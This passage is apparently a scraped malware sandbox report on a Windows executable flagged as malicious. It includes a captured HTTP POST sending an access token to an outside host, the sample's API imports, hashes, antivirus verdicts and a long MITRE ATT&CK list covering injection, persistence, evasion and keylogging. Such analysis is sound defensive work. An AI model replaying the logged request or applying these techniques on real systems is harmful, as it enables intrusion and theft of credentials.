Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D......., "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: cratmr.lol:5993" with payload::==> "access_token=ac65d987-3c73-4e4c-9ac9-4e776825bc0d&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Apr 2026 15:12:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......55:T704,RegCreateKeyExA OpenProcessToken RegCloseKey RegOpenKeyExA RegDeleteValueA GetVersionExA WriteFile GetModuleFileNameA GetTempFileNameA GetTickCount Sleep CreateProcessA GetStartupInfoW GetTempPathA LoadLibraryA FindFirstFileA GetSystemInfo TerminateProcess LoadLibraryExA DeleteFileA UnhandledExceptionFilter CreateDirectoryA GetModuleHandleW GetProcAddress FindNextFileA CreateFileA GetSystemDirectoryA LockResource FindResourceA GetFileAttributesA CreateThread GetDriveTypeA RegCreateKeyExW RegDeleteValueW CreateProcessAsUserW GetUserNameW RegDeleteKeyW RegEnumKeyExW CreateProcessWithLogonW SetSecurityDescriptorDacl RegOpenKeyExW IcmpSendEcho GetFileSizeEx ReadProcessMemory GetTempFileNameW Process32NextW Process32FirstW GetCommandLineW WriteProcessMemory DeleteFileW LoadLibraryW GetCommandLineA GetVersionExW CreateProcessW FindFirstFileW GetModuleHandleExW FindResourceExW GetFileAttributesW GetFileSize FindNextFileW ExitThread GetTempPathW CreateFileW DeviceIoControl CopyFileExW GetSystemDirectoryW SleepConditionVariableSRW OutputDebugStringW LoadLibraryExW FindFirstFileExW GetDriveTypeW CreateToolhelp32Snapshot OpenProcess VirtualAlloc CreateDirectoryW GetComputerNameW GetModuleFileNameW VirtualProtect IsDebuggerPresent VirtualAllocEx CopyFileW ShellExecuteExW ShellExecuteW GetClipboardData GetCursorPos FindWindowExW SetKeyboardState FindWindowW GetWindowThreadProcessId HttpSendRequestW InternetOpenUrlW InternetOpenW InternetConnectW InternetReadFile FtpGetFileSize FtpOpenFileW InternetCrackUrlW HttpQueryInfoW InternetQueryOptionW InternetCloseHandle InternetQueryDataAvailable listen bind WSAStartup socket accept closesocket sendto recvfrom connect send recv56:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8A//92AAAAAAAAAAAAAGf///+GAGdkR3d3d3d0RnZAaP/4QAf/dnj/////h0f/cESP9AAHiGaP+IiIj/hmiHAAT3AAAERHj/+Lu//4dEQAAAdgAABAR4/4u7uP+HREQAAGQAAAd3aP+Iu4j/hmd0AABAAAAI+GaP/4j/+HZ/gAAAQAAABIhmeP///4dmiGBEREAAREBEREZ3iHdkREQEREREREREBEZ3ZmZmd2RERERERERERERHj/dEePh0REREREREREREREd2RGd0REREREREREREAERAAERABEQERERERERERHh3Z3d3d3d2h0REREREREd3aIh3h3eIh3d0RERERERHh0eHeHd3h3d3dERERERERHd2dmd3d3Z3h0RERERERERGRERERERERERERERERERHiIdkREREREeIdkREREREaHR4hnd3d3d4d3dEREREREiGR4iIiIiIeIh2RERERERGdmiHh3d4eIeIdkREREREZGj4d4h3iHiHeIdGREZmZkf4dGePh3d4iHd2RmZmZmRohkd0eIdkaId0RmZmZ2ZmaHZHh3h2ZmeGRmZmZndmZmf4d4hmdmZmdmZmZmZ/dmZmeIh2ZmZmZmZmZmZn/4ZmZmZmZmZmZmZmZmZmaP/4dmZmZmZmZmZmZmZmZ4////h2ZmZmZmZmZmZmZ4//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790955840942,"unified_at":"2026-10-02T15:44:00.942Z","metadata":{"hashes":{"sha256":"448d4144c6982cfd526fadfb95ecc1995fc02a249aba3b8706808c60bce93e7f","sha1":"b2a22c7c348ab582b21057aac61b020585edce97","md5":"b80700935a4ef074810583dd7e093c78","sha512":"37eb883dd3550e6a28e6d6791db6965545c0650636d4cd6766cf3c4aa7ad018a90f4fb973d00bb034637bf80eb7ed3c41329ff54fe07eaeecd6a28ad460df7ae","ssdeep":"24576:TjrUD+4hhV9unN2J0dnTffSclEjAEvkJI+jxeT:TjwD+oJunkJ0dujWH","ssdeep_chunks":["24576:TjrUD+4","24576:jrUD+4h","24576:rUD+4hh","24576:UD+4hhV","24576:D+4hhV9","24576:+4hhV9u","24576:4hhV9un","24576:hhV9unN","24576:hV9unN2","24576:V9unN2J","24576:9unN2J0","24576:unN2J0d","24576:nN2J0dn","24576:N2J0dnT","24576:2J0dnTf","24576:J0dnTff","24576:0dnTffS","24576:dnTffSc","24576:nTffScl","24576:TffSclE","24576:ffSclEj","24576:fSclEjA","24576:SclEjAE","24576:clEjAEv","24576:lEjAEvk","24576:EjAEvkJ","24576:jAEvkJI","24576:AEvkJI+","24576:EvkJI+j","24576:vkJI+jx","24576:kJI+jxe","24576:JI+jxeT","49152:TjrUD+4","49152:jrUD+4h","49152:rUD+4hh","49152:UD+4hhV","49152:D+4hhV9","49152:+4hhV9u","49152:4hhV9un","49152:hhV9unN","49152:hV9unN2","49152:V9unN2J","49152:9unN2J0","49152:unN2J0d","49152:nN2J0dn","49152:N2J0dnT","49152:2J0dnTf","49152:J0dnTff","49152:0dnTffS","49152:dnTffSc","49152:nTffScl","49152:TffSclE","49152:ffSclEj","49152:fSclEjA","49152:SclEjAE","49152:clEjAEv","49152:lEjAEvk","49152:EjAEvkJ","49152:jAEvkJI","49152:AEvkJI+","49152:EvkJI+j","49152:vkJI+jx","49152:kJI+jxe","49152:JI+jxeT","24576:TjwD+oJ","24576:jwD+oJu","24576:wD+oJun","24576:D+oJunk","24576:+oJunkJ","24576:oJunkJ0","24576:JunkJ0d","24576:unkJ0du","24576:nkJ0duj","24576:kJ0dujW","24576:J0dujWH"],"imphash":"4cea7ae85c87ddc7295d39ff9cda31d1"},"file_info":{"file_name":"file.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":1216512,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1777129275000,"last_seen":1777129779000,"last_multi_scan":1777129779000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["wacatac"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":79},"sandbox_signatures":{"informative_count":208,"suspicious_count":17,"malicious_count":7,"total":232},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Win/malicious_confidence_100%","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Able to retrieve command line parameters of the running process"},{"type":"informative","value":"Able to import GetCommandLine API, which retrieves the command line string for the current process"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to create/load registry keys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Tries to save executable or command in registry"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"},{"type":"informative","value":"Contains ability to retrieve entry point of a process loaded into memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"informative","value":"Found PE header in memory"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify process memory (API string)"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"suspicious","value":"Attempts to delete files using advpack.dll via registry key"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Contains ability to show a graphical window (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Dropped file has high entropy (likely encrypted/compressed content)"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"},{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Imports SHEmptyRecycleBin API"},{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to block user input (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","identifiers":[{"type":"suspicious","value":"Persistent registry entry has regsvr32/rundll32 with arguments"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect sandbox (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"69ecd9322c2d5dfe6906b78e"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API 